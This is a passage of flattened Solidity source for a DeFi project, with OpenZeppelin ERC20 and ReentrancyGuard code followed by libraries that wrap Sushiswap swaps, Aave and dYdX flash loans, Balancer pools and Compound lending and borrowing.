function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// File: @openzeppelin/contracts/utils/ReentrancyGuard.sol
pragma solidity ^0.6.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor () internal {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// File: contracts/network/$.sol
pragma solidity ^0.6.0;
/**
* @dev This library is provided for conveniece. It is the single source for
* the current network and all related hardcoded contract addresses. It
* also provide useful definitions for debuging faultless code via events.
*/
library $
{
address constant GRO = 0x09e64c2B61a5f1690Ee6fbeD9baf5D6990F8dFd0;
address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address constant cDAI = 0x5d3a536E4D6DbD6114cc1Ead35777bAB948E3643;
address constant cUSDC = 0x39AA39c021dfbaE8faC545936693aC917d5E7563;
address constant cETH = 0x4Ddc2D193948926D02f9B1fE9e1daa0718270ED5;
address constant COMP = 0xc00e94Cb662C3520282E6f5717214004A7f26888;
address constant Aave_AAVE_LENDING_POOL = 0x398eC7346DcD622eDc5ae82352F02bE94C62d119;
address constant Aave_AAVE_LENDING_POOL_CORE = 0x3dfd23A6c5E8BbcFc9581d2E864a68feb6a076d3;
address constant Balancer_FACTORY = 0x9424B1412450D0f8Fc2255FAf6046b98213B76Bd;
address constant Compound_COMPTROLLER = 0x3d9819210A31b4961b30EF54bE2aeD79B9c9Cd3B;
address constant Dydx_SOLO_MARGIN = 0x1E0447b19BB6EcFdAe1e4AE1694b0C3659614e4e;
address constant Sushiswap_ROUTER02 = 0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F;
}
// File: contracts/interop/WrappedEther.sol
pragma solidity ^0.6.0;
interface WETH is IERC20
{
function deposit() external payable;
function withdraw(uint256 _amount) external;
}
// File: contracts/interop/UniswapV2.sol
pragma solidity ^0.6.0;
interface Router01
{
function WETH() external pure returns (address _token);
function swapExactTokensForTokens(uint256 _amountIn, uint256 _amountOutMin, address[] calldata _path, address _to, uint256 _deadline) external returns (uint256[] memory _amounts);
function swapETHForExactTokens(uint256 _amountOut, address[] calldata _path, address _to, uint256 _deadline) external payable returns (uint256[] memory _amounts);
function getAmountsOut(uint256 _amountIn, address[] calldata _path) external view returns (uint[] memory _amounts);
function getAmountsIn(uint256 _amountOut, address[] calldata _path) external view returns (uint[] memory _amounts);
}
interface Router02 is Router01
{
}
// File: contracts/interop/Aave.sol
pragma solidity ^0.6.0;
interface LendingPoolAddressesProvider
{
function getLendingPool() external view returns (address _pool);
function getLendingPoolCore() external view returns (address payable _lendingPoolCore);
}
interface LendingPool
{
function getReserveData(address _reserve) external view returns (uint256 _totalLiquidity, uint256 _availableLiquidity, uint256 _totalBorrowsStable, uint256 _totalBorrowsVariable, uint256 _liquidityRate, uint256 _variableBorrowRate, uint256 _stableBorrowRate, uint256 _averageStableBorrowRate, uint256 _utilizationRate, uint256 _liquidityIndex, uint256 _variableBorrowIndex, address _aTokenAddress, uint40 _lastUpdateTimestamp);
function flashLoan(address _receiver, address _reserve, uint256 _amount, bytes calldata _params) external;
}
interface FlashLoanReceiver
{
function executeOperation(address _reserve, uint256 _amount, uint256 _fee, bytes calldata _params) external;
}
// File: contracts/interop/Dydx.sol
pragma solidity ^0.6.0;
interface SoloMargin
{
function getMarketTokenAddress(uint256 _marketId) external view returns (address _token);
function getNumMarkets() external view returns (uint256 _numMarkets);
function operate(Account.Info[] memory _accounts, Actions.ActionArgs[] memory _actions) external;
}
interface ICallee
{
function callFunction(address _sender, Account.Info memory _accountInfo, bytes memory _data) external;
}
library Account
{
struct Info {
address owner;
uint256 number;
}
}
library Actions
{
enum ActionType { Deposit, Withdraw, Transfer, Buy, Sell, Trade, Liquidate, Vaporize, Call }
struct ActionArgs {
ActionType actionType;
uint256 accountId;
Types.AssetAmount amount;
uint256 primaryMarketId;
uint256 secondaryMarketId;
address otherAddress;
uint256 otherAccountId;
bytes data;
}
}
library Types
{
enum AssetDenomination { Wei, Par }
enum AssetReference { Delta, Target }
struct AssetAmount {
bool sign;
AssetDenomination denomination;
AssetReference ref;
uint256 value;
}
}
// File: contracts/interop/Balancer.sol
pragma solidity ^0.6.0;
interface BFactory
{
function newBPool() external returns (address _pool);
}
interface BPool is IERC20
{
function getFinalTokens() external view returns (address[] memory _tokens);
function getBalance(address _token) external view returns (uint256 _balance);
function setSwapFee(uint256 _swapFee) external;
function finalize() external;
function bind(address _token, uint256 _balance, uint256 _denorm) external;
function exitPool(uint256 _poolAmountIn, uint256[] calldata _minAmountsOut) external;
function joinswapExternAmountIn(address _tokenIn, uint256 _tokenAmountIn, uint256 _minPoolAmountOut) external returns (uint256 _poolAmountOut);
}
// File: contracts/interop/Compound.sol
pragma solidity ^0.6.0;
interface Comptroller
{
function oracle() external view returns (address _oracle);
function enterMarkets(address[] calldata _ctokens) external returns (uint256[] memory _errorCodes);
function markets(address _ctoken) external view returns (bool _isListed, uint256 _collateralFactorMantissa);
function getAccountLiquidity(address _account) external view returns (uint256 _error, uint256 _liquidity, uint256 _shortfall);
}
interface PriceOracle
{
function getUnderlyingPrice(address _ctoken) external view returns (uint256 _price);
}
interface CToken is IERC20
{
function underlying() external view returns (address _token);
function exchangeRateStored() external view returns (uint256 _exchangeRate);
function borrowBalanceStored(address _account) external view returns (uint256 _borrowBalance);
function exchangeRateCurrent() external returns (uint256 _exchangeRate);
function getCash() external view returns (uint256 _cash);
function borrowBalanceCurrent(address _account) external returns (uint256 _borrowBalance);
function balanceOfUnderlying(address _owner) external returns (uint256 _underlyingBalance);
function mint() external payable;
function mint(uint256 _mintAmount) external returns (uint256 _errorCode);
function repayBorrow() external payable;
function repayBorrow(uint256 _repayAmount) external returns (uint256 _errorCode);
function redeemUnderlying(uint256 _redeemAmount) external returns (uint256 _errorCode);
function borrow(uint256 _borrowAmount) external returns (uint256 _errorCode);
}
// File: contracts/modules/Math.sol
pragma solidity ^0.6.0;
library Math
{
function _min(uint256 _amount1, uint256 _amount2) internal pure returns (uint256 _minAmount)
{
return _amount1 < _amount2 ? _amount1 : _amount2;
}
function _max(uint256 _amount1, uint256 _amount2) internal pure returns (uint256 _maxAmount)
{
return _amount1 > _amount2 ? _amount1 : _amount2;
}
}
// File: contracts/modules/Wrapping.sol
pragma solidity ^0.6.0;
library Wrapping
{
function _wrap(uint256 _amount) internal returns (bool _success)
{
try WETH($.WETH).deposit{value: _amount}() {
return true;
} catch (bytes memory /* _data */) {
return false;
}
}
function _unwrap(uint256 _amount) internal returns (bool _success)
{
try WETH($.WETH).withdraw(_amount) {
return true;
} catch (bytes memory /* _data */) {
return false;
}
}
function _safeWrap(uint256 _amount) internal
{
require(_wrap(_amount), "wrap failed");
}
function _safeUnwrap(uint256 _amount) internal
{
require(_unwrap(_amount), "unwrap failed");
}
}
// File: contracts/modules/Transfers.sol
pragma solidity ^0.6.0;
library Transfers
{
using SafeERC20 for IERC20;
function _getBalance(address _token) internal view returns (uint256 _balance)
{
return IERC20(_token).balanceOf(address(this));
}
function _approveFunds(address _token, address _to, uint256 _amount) internal
{
uint256 _allowance = IERC20(_token).allowance(address(this), _to);
if (_allowance > _amount) {
IERC20(_token).safeDecreaseAllowance(_to, _allowance - _amount);
}
else
if (_allowance < _amount) {
IERC20(_token).safeIncreaseAllowance(_to, _amount - _allowance);
}
}
function _pullFunds(address _token, address _from, uint256 _amount) internal
{
IERC20(_token).safeTransferFrom(_from, address(this), _amount);
}
function _pushFunds(address _token, address _to, uint256 _amount) internal
{
IERC20(_token).safeTransfer(_to, _amount);
}
}
// File: contracts/modules/SushiswapExchangeAbstraction.sol
pragma solidity ^0.6.0;
library SushiswapExchangeAbstraction
{
function _calcConversionOutputFromInput(address _from, address _to, uint256 _inputAmount) internal view returns (uint256 _outputAmount)
{
address _router = $.Sushiswap_ROUTER02;
address _WETH = Router02(_router).WETH();
address[] memory _path = _buildPath(_from, _WETH, _to);
return Router02(_router).getAmountsOut(_inputAmount, _path)[_path.length - 1];
}
function _calcConversionInputFromOutput(address _from, address _to, uint256 _outputAmount) internal view returns (uint256 _inputAmount)
{
address _router = $.Sushiswap_ROUTER02;
address _WETH = Router02(_router).WETH();
address[] memory _path = _buildPath(_from, _WETH, _to);
return Router02(_router).getAmountsIn(_outputAmount, _path)[0];
}
function _convertFunds(address _from, address _to, uint256 _inputAmount, uint256 _minOutputAmount) internal returns (uint256 _outputAmount)
{
address _router = $.Sushiswap_ROUTER02;
address _WETH = Router02(_router).WETH();
address[] memory _path = _buildPath(_from, _WETH, _to);
Transfers._approveFunds(_from, _router, _inputAmount);
return Router02(_router).swapExactTokensForTokens(_inputAmount, _minOutputAmount, _path, address(this), uint256(-1))[_path.length - 1];
}
function _buildPath(address _from, address _WETH, address _to) internal pure returns (address[] memory _path)
{
if (_from == _WETH || _to == _WETH) {
_path = new address[](2);
_path[0] = _from;
_path[1] = _to;
return _path;
} else {
_path = new address[](3);
_path[0] = _from;
_path[1] = _WETH;
_path[2] = _to;
return _path;
}
}
}
// File: contracts/GExchange.sol
pragma solidity ^0.6.0;
/**
* @dev Custom and uniform interface to a decentralized exchange. It is used
* to estimate and convert funds whenever necessary. This furnishes
* client contracts with the flexibility to replace conversion strategy
* and routing, dynamically, by delegating these operations to different
* external contracts that share this common interface. See
* GUniswapV2Exchange.sol for further documentation.
*/
interface GExchange
{
// view functions
function calcConversionOutputFromInput(address _from, address _to, uint256 _inputAmount) external view returns (uint256 _outputAmount);
function calcConversionInputFromOutput(address _from, address _to, uint256 _outputAmount) external view returns (uint256 _inputAmount);
// open functions
function convertFunds(address _from, address _to, uint256 _inputAmount, uint256 _minOutputAmount) external returns (uint256 _outputAmount);
}
// File: contracts/modules/Conversions.sol
pragma solidity ^0.6.0;
library Conversions
{
function _dynamicConvertFunds(address _exchange, address _from, address _to, uint256 _inputAmount, uint256 _minOutputAmount) internal returns (uint256 _outputAmount)
{
Transfers._approveFunds(_from, _exchange, _inputAmount);
try GExchange(_exchange).convertFunds(_from, _to, _inputAmount, _minOutputAmount) returns (uint256 _outAmount) {
return _outAmount;
} catch (bytes memory /* _data */) {
Transfers._approveFunds(_from, _exchange, 0);
return 0;
}
}
}
// File: contracts/modules/AaveFlashLoanAbstraction.sol
pragma solidity ^0.6.0;
library AaveFlashLoanAbstraction
{
using SafeMath for uint256;
uint256 constant FLASH_LOAN_FEE_RATIO = 9e14; // 0.09%
function _estimateFlashLoanFee(address /* _token */, uint256 _netAmount) internal pure returns (uint256 _feeAmount)
{
return _netAmount.mul(FLASH_LOAN_FEE_RATIO).div(1e18);
}
function _getFlashLoanLiquidity(address _token) internal view returns (uint256 _liquidityAmount)
{
address _pool = $.Aave_AAVE_LENDING_POOL;
// this is the code in solidity, but does not compile
// try LendingPool(_pool).getReserveData(_token) returns (uint256 _totalLiquidity, uint256 _availableLiquidity, uint256 _totalBorrowsStable, uint256 _totalBorrowsVariable, uint256 _liquidityRate, uint256 _variableBorrowRate, uint256 _stableBorrowRate, uint256 _averageStableBorrowRate, uint256 _utilizationRate, uint256 _liquidityIndex, uint256 _variableBorrowIndex, address _aTokenAddress, uint40 _lastUpdateTimestamp) {
// return _availableLiquidity;
// } catch (bytes memory /* _data */) {
// return 0;
// }
// we use EVM assembly instead
bytes memory _data = abi.encodeWithSignature("getReserveData(address)", _token);
uint256[2] memory _result;
assembly {
let _success := staticcall(gas(), _pool, add(_data, 32), mload(_data), _result, 64)
if iszero(_success) {
mstore(add(_result, 32), 0)
}
}
return _result[1];
}
function _requestFlashLoan(address _token, uint256 _netAmount, bytes memory _context) internal returns (bool _success)
{
address _pool = $.Aave_AAVE_LENDING_POOL;
try LendingPool(_pool).flashLoan(address(this), _token, _netAmount, _context) {
return true;
} catch (bytes memory /* _data */) {
return false;
}
}
function _paybackFlashLoan(address _token, uint256 _grossAmount) internal
{
address _poolCore = $.Aave_AAVE_LENDING_POOL_CORE;
Transfers._pushFunds(_token, _poolCore, _grossAmount);
}
}
// File: contracts/modules/DydxFlashLoanAbstraction.sol
pragma solidity ^0.6.0;
library DydxFlashLoanAbstraction
{
using SafeMath for uint256;
function _estimateFlashLoanFee(address /* _token */, uint256 /* _netAmount */) internal pure returns (uint256 _feeAmount)
{
return 2;
}
function _getFlashLoanLiquidity(address _token) internal view returns (uint256 _liquidityAmount)
{
address _solo = $.Dydx_SOLO_MARGIN;
return IERC20(_token).balanceOf(_solo);
}
function _requestFlashLoan(address _token, uint256 _netAmount, bytes memory _context) internal returns (bool _success)
{
address _solo = $.Dydx_SOLO_MARGIN;
uint256 _feeAmount = 2;
uint256 _grossAmount = _netAmount.add(_feeAmount);
uint256 _marketId = uint256(-1);
uint256 _numMarkets = SoloMargin(_solo).getNumMarkets();
for (uint256 _i = 0; _i < _numMarkets; _i++) {
address _address = SoloMargin(_solo).getMarketTokenAddress(_i);
if (_address == _token) {
_marketId = _i;
break;
}
}
if (_marketId == uint256(-1)) return false;
Account.Info[] memory _accounts = new Account.Info[](1);
_accounts[0] = Account.Info({ owner: address(this), number: 1 });
Actions.ActionArgs[] memory _actions = new Actions.ActionArgs[](3);
_actions[0] = Actions.ActionArgs({
actionType: Actions.ActionType.Withdraw,
accountId: 0,
amount: Types.AssetAmount({
sign: false,
denomination: Types.AssetDenomination.Wei,
ref: Types.AssetReference.Delta,
value: _netAmount
}),
primaryMarketId: _marketId,
secondaryMarketId: 0,
otherAddress: address(this),
otherAccountId: 0,
data: ""
});
_actions[1] = Actions.ActionArgs({
actionType: Actions.ActionType.Call,
accountId: 0,
amount: Types.AssetAmount({
sign: false,
denomination: Types.AssetDenomination.Wei,
ref: Types.AssetReference.Delta,
value: 0
}),
primaryMarketId: 0,
secondaryMarketId: 0,
otherAddress: address(this),
otherAccountId: 0,
data: abi.encode(_token, _netAmount, _feeAmount, _context)
});
_actions[2] = Actions.ActionArgs({
actionType: Actions.ActionType.Deposit,
accountId: 0,
amount: Types.AssetAmount({
sign: true,
denomination: Types.AssetDenomination.Wei,
ref: Types.AssetReference.Delta,
value: _grossAmount
}),
primaryMarketId: _marketId,
secondaryMarketId: 0,
otherAddress: address(this),
otherAccountId: 0,
data: ""
});
try SoloMargin(_solo).operate(_accounts, _actions) {
return true;
} catch (bytes memory /* _data */) {
return false;
}
}
function _paybackFlashLoan(address _token, uint256 _grossAmount) internal
{
address _solo = $.Dydx_SOLO_MARGIN;
Transfers._approveFunds(_token, _solo, _grossAmount);
}
}
// File: contracts/modules/FlashLoans.sol
pragma solidity ^0.6.0;
library FlashLoans
{
enum Provider { Aave, Dydx }
function _estimateFlashLoanFee(Provider _provider, address _token, uint256 _netAmount) internal pure returns (uint256 _feeAmount)
{
if (_provider == Provider.Aave) return AaveFlashLoanAbstraction._estimateFlashLoanFee(_token, _netAmount);
if (_provider == Provider.Dydx) return DydxFlashLoanAbstraction._estimateFlashLoanFee(_token, _netAmount);
}
function _getFlashLoanLiquidity(address _token) internal view returns (uint256 _liquidityAmount)
{
uint256 _liquidityAmountDydx = DydxFlashLoanAbstraction._getFlashLoanLiquidity(_token);
uint256 _liquidityAmountAave = AaveFlashLoanAbstraction._getFlashLoanLiquidity(_token);
return Math._max(_liquidityAmountDydx, _liquidityAmountAave);
}
function _requestFlashLoan(address _token, uint256 _netAmount, bytes memory _context) internal returns (bool _success)
{
_success = DydxFlashLoanAbstraction._requestFlashLoan(_token, _netAmount, _context);
if (_success) return true;
_success = AaveFlashLoanAbstraction._requestFlashLoan(_token, _netAmount, _context);
if (_success) return true;
return false;
}
function _paybackFlashLoan(Provider _provider, address _token, uint256 _grossAmount) internal
{
if (_provider == Provider.Aave) return AaveFlashLoanAbstraction._paybackFlashLoan(_token, _grossAmount);
if (_provider == Provider.Dydx) return DydxFlashLoanAbstraction._paybackFlashLoan(_token, _grossAmount);
}
}
// File: contracts/modules/BalancerLiquidityPoolAbstraction.sol
pragma solidity ^0.6.0;
library BalancerLiquidityPoolAbstraction
{
using SafeMath for uint256;
uint256 constant MIN_AMOUNT = 1e6;
uint256 constant TOKEN0_WEIGHT = 25e18; // 25/50 = 50%
uint256 constant TOKEN1_WEIGHT = 25e18; // 25/50 = 50%
uint256 constant SWAP_FEE = 10e16; // 10%
function _createPool(address _token0, uint256 _amount0, address _token1, uint256 _amount1) internal returns (address _pool)
{
require(_amount0 >= MIN_AMOUNT && _amount1 >= MIN_AMOUNT, "amount below the minimum");
_pool = BFactory($.Balancer_FACTORY).newBPool();
Transfers._approveFunds(_token0, _pool, _amount0);
Transfers._approveFunds(_token1, _pool, _amount1);
BPool(_pool).bind(_token0, _amount0, TOKEN0_WEIGHT);
BPool(_pool).bind(_token1, _amount1, TOKEN1_WEIGHT);
BPool(_pool).setSwapFee(SWAP_FEE);
BPool(_pool).finalize();
return _pool;
}
function _joinPool(address _pool, address _token, uint256 _maxAmount) internal returns (uint256 _amount)
{
uint256 _balanceAmount = BPool(_pool).getBalance(_token);
if (_balanceAmount == 0) return 0;
uint256 _limitAmount = _balanceAmount.div(2);
_amount = Math._min(_maxAmount, _limitAmount);
Transfers._approveFunds(_token, _pool, _amount);
BPool(_pool).joinswapExternAmountIn(_token, _amount, 0);
return _amount;
}
function _exitPool(address _pool, uint256 _percent) internal returns (uint256 _amount0, uint256 _amount1)
{
if (_percent == 0) return (0, 0);
address[] memory _tokens = BPool(_pool).getFinalTokens();
_amount0 = Transfers._getBalance(_tokens[0]);
_amount1 = Transfers._getBalance(_tokens[1]);
uint256 _poolAmount = Transfers._getBalance(_pool);
uint256 _poolExitAmount = _poolAmount.mul(_percent).div(1e18);
uint256[] memory _minAmountsOut = new uint256[](2);
_minAmountsOut[0] = 0;
_minAmountsOut[1] = 0;
BPool(_pool).exitPool(_poolExitAmount, _minAmountsOut);
_amount0 = Transfers._getBalance(_tokens[0]).sub(_amount0);
_amount1 = Transfers._getBalance(_tokens[1]).sub(_amount1);
return (_amount0, _amount1);
}
}
// File: contracts/modules/CompoundLendingMarketAbstraction.sol
pragma solidity ^0.6.0;
library CompoundLendingMarketAbstraction
{
using SafeMath for uint256;
function _getUnderlyingToken(address _ctoken) internal view returns (address _token)
{
if (_ctoken == $.cETH) return $.WETH;
return CToken(_ctoken).underlying();
}
function _getCollateralRatio(address _ctoken) internal view returns (uint256 _collateralFactor)
{
address _comptroller = $.Compound_COMPTROLLER;
(, _collateralFactor) = Comptroller(_comptroller).markets(_ctoken);
return _collateralFactor;
}
function _getMarketAmount(address _ctoken) internal view returns (uint256 _marketAmount)
{
return CToken(_ctoken).getCash();
}
function _getLiquidityAmount(address _ctoken) internal view returns (uint256 _liquidityAmount)
{
address _comptroller = $.Compound_COMPTROLLER;
(uint256 _result, uint256 _liquidity, uint256 _shortfall) = Comptroller(_comptroller).getAccountLiquidity(address(this));
if (_result != 0) return 0;
if (_shortfall > 0) return 0;
address _priceOracle = Comptroller(_comptroller).oracle();
uint256 _price = PriceOracle(_priceOracle).getUnderlyingPrice(_ctoken);
return _liquidity.mul(1e18).div(_price);
}
function _getAvailableAmount(address _ctoken, uint256 _marginAmount) internal view returns (uint256 _availableAmount)
{
uint256 _liquidityAmount = _getLiquidityAmount(_ctoken);
if (_liquidityAmount <= _marginAmount) return 0;
return Math._min(_liquidityAmount.sub(_marginAmount), _getMarketAmount(_ctoken));
}
function _getExchangeRate(address _ctoken) internal view returns (uint256 _exchangeRate)
{
return CToken(_ctoken).exchangeRateStored();
}
function _fetchExchangeRate(address _ctoken) internal returns (uint256 _exchangeRate)
{
return CToken(_ctoken).exchangeRateCurrent();
}
function _getLendAmount(address _ctoken) internal view returns (uint256 _amount)
{
return CToken(_ctoken).balanceOf(address(this)).mul(_getExchangeRate(_ctoken)).div(1e18);
}
function _fetchLendAmount(address _ctoken) internal returns (uint256 _amount)
{
return CToken(_ctoken).balanceOfUnderlying(address(this));
}
function _getBorrowAmount(address _ctoken) internal view returns (uint256 _amount)
{
return CToken(_ctoken).borrowBalanceStored(address(this));
}
function _fetchBorrowAmount(address _ctoken) internal returns (uint256 _amount)
{
return CToken(_ctoken).borrowBalanceCurrent(address(this));
}
function _enter(address _ctoken) internal returns (bool _success)
{
address _comptroller = $.Compound_COMPTROLLER;
address[] memory _ctokens = new address[](1);
_ctokens[0] = _ctoken;
try Comptroller(_comptroller).enterMarkets(_ctokens) returns (uint256[] memory _errorCodes) {
return _errorCodes[0] == 0;
} catch (bytes memory /* _data */) {
return false;
}
}
function _lend(address _ctoken, uint256 _amount) internal returns (bool _success)
{
if (_ctoken == $.cETH) {
if (!Wrapping._unwrap(_amount)) return false;
try CToken(_ctoken).mint{value: _amount}() {
return true;
} catch (bytes memory /* _data */) {
assert(Wrapping._wrap(_amount));
return false;
}
} else {
address _token = _getUnderlyingToken(_ctoken);
Transfers._approveFunds(_token, _ctoken, _amount);
try CToken(_ctoken).mint(_amount) returns (uint256 _errorCode) {
return _errorCode == 0;
} catch (bytes memory /* _data */) {
return false;
}
}
}
function _redeem(address _ctoken, uint256 _amount) internal returns (bool _success)
{
if (_ctoken == $.cETH) {
try CToken(_ctoken).redeemUnderlying(_amount) returns (uint256 _errorCode) {
if (_errorCode == 0) {
assert(Wrapping._wrap(_amount));
return true;
} else {
return false;
}
} catch (bytes memory /* _data */) {
return false;
}
} else {
try CToken(_ctoken).redeemUnderlying(_amount) returns (uint256 _errorCode) {
return _errorCode == 0;
} catch (bytes memory /* _data */) {
return false;
}
}
}
function _borrow(address _ctoken, uint256 _amount) internal returns (bool _success)
{
if (_ctoken == $.cETH) {
try CToken(_ctoken).borrow(_amount) returns (uint256 _errorCode) {
if (_errorCode == 0) {
assert(Wrapping._wrap(_amount));
return true;
} else {
return false;
}
} catch (bytes memory /* _data */) {
return false;
}
} else {
try CToken(_ctoken).borrow(_amount) returns (uint256 _errorCode) {
return _errorCode == 0;
} catch (bytes memory /* _data */) {
return false;
}
}
}
function _repay(address _ctoken, uint256 _amount) internal returns (bool _success)
{
if (_ctoken == $.cETH) {
if (!Wrapping._unwrap(_amount)) return false;
try CToken(_ctoken).repayBorrow{value: _amount}() {
return true;
} catch (bytes memory /* _data */) {
assert(Wrapping._wrap(_amount));
return false;
}
} else {
address _token = _getUnderlyingToken(_ctoken);
Transfers._approveFunds(_token, _ctoken, _amount);
try CToken(_ctoken).repayBorrow(_amount) returns (uint256 _errorCode) {
return _errorCode == 0;
} catch (bytes memory /* _data */) {
return false;
}
}
}
function _safeEnter(address _ctoken) internal
{
require(_enter(_ctoken), "enter failed");
}
function _safeLend(address _ctoken, uint256 _amount) internal
{
require(_lend(_ctoken, _amount), "lend failure");
}
function _safeRedeem(address _ctoken, uint256 _amount) internal
{
require(_redeem(_ctoken, _amount), "redeem failure");
}
function _safeBorrow(address _ctoken, uint256 _amount) internal
{
require(_borrow(_ctoken, _amount), "borrow failure");
}
function _safeRepay(address _ctoken, uint256 _amount) internal
{
require(_repay(_ctoken, _amount), "repay failure");
}
}
// File: contracts/G.sol
pragma solidity ^0.6.0;
/**
* @dev This public library provides a single entrypoint to all the relevant
* internal libraries available in the modules folder. It exists to
* circunvent the contract size limitation imposed by the EVM. All function
* calls are directly delegated to the target library function preserving
* argument and return values exactly as they are. Thit library is shared
* by all contracts and even other public libraries from this repository,
* therefore it needs to be published alongside them.
*/
library G
{
function min(uint256 _amount1, uint256 _amount2) public pure returns (uint256 _minAmount) { return Math._min(_amount1, _amount2); }
function safeWrap(uint256 _amount) public { Wrapping._safeWrap(_amount); }
function safeUnwrap(uint256 _amount) public { Wrapping._safeUnwrap(_amount); }
function getBalance(address _token) public view returns (uint256 _balance) { return Transfers._getBalance(_token); }
function pullFunds(address _token, address _from, uint256 _amount) public { Transfers._pullFunds(_token, _from, _amount); }
function pushFunds(address _token, address _to, uint256 _amount) public { Transfers._pushFunds(_token, _to, _amount); }
function approveFunds(address _token, address _to, uint256 _amount) public { Transfers._approveFunds(_token, _to, _amount); }
function dynamicConvertFunds(address _exchange, address _from, address _to, uint256 _inputAmount, uint256 _minOutputAmount) public returns (uint256 _outputAmount) { return Conversions._dynamicConvertFunds(_exchange, _from, _to, _inputAmount, _minOutputAmount); }
function getFlashLoanLiquidity(address _token) public view returns (uint256 _liquidityAmount) { return FlashLoans._getFlashLoanLiquidity(_token); }
function requestFlashLoan(address _token, uint256 _amount, bytes memory _context) public returns (bool _success) { return FlashLoans._requestFlashLoan(_token, _amount, _context); }
function paybackFlashLoan(FlashLoans.Provider _provider, address _token, uint256 _grossAmount) public { FlashLoans._paybackFlashLoan(_provider, _token, _grossAmount); }
function createPool(address _token0, uint256 _amount0, address _token1, uint256 _amount1) public returns (address _pool) { return BalancerLiquidityPoolAbstraction._createPool(_token0, _amount0, _token1, _amount1); }
function joinPool(address _pool, address _token, uint256 _maxAmount) public returns (uint256 _amount) { return BalancerLiquidityPoolAbstraction._joinPool(_pool, _token, _maxAmount); }
function exitPool(address _pool, uint256 _percent) public returns (uint256 _amount0, uint256 _amount1) { return BalancerLiquidityPoolAbstraction._exitPool(_pool, _percent); }
function getUnderlyingToken(address _ctoken) public view returns (address _token) { return CompoundLendingMarketAbstraction._getUnderlyingToken(_ctoken); }
function getCollateralRatio(address _ctoken) public view returns (uint256 _collateralFactor) { return CompoundLendingMarketAbstraction._getCollateralRatio(_ctoken); }
function getLiquidityAmount(address _ctoken) public view returns (uint256 _liquidityAmount) { return CompoundLendingMarketAbstraction._getLiquidityAmount(_ctoken); }
function getExchangeRate(address _ctoken) public view returns (uint256 _exchangeRate) { return CompoundLendingMarketAbstraction._getExchangeRate(_ctoken); }
function fetchExchangeRate(address _ctoken) public returns (uint256 _exchangeRate) { return CompoundLendingMarketAbstraction._fetchExchangeRate(_ctoken); }
function getLendAmount(address _ctoken) public view returns (uint256 _amount) { return CompoundLendingMarketAbstraction._getLendAmount(_ctoken); }
function fetchLendAmount(address _ctoken) public returns (uint256 _amount) { return CompoundLendingMarketAbstraction._fetchLendAmount(_ctoken); }
function getBorrowAmount(address _ctoken) public view returns (uint256 _amount) { return CompoundLendingMarketAbstraction._getBorrowAmount(_ctoken); }
function fetchBorrowAmount(address _ctoken) public returns (uint256 _amount) { return CompoundLendingMarketAbstraction._fetchBorrowAmount(_ctoken); }
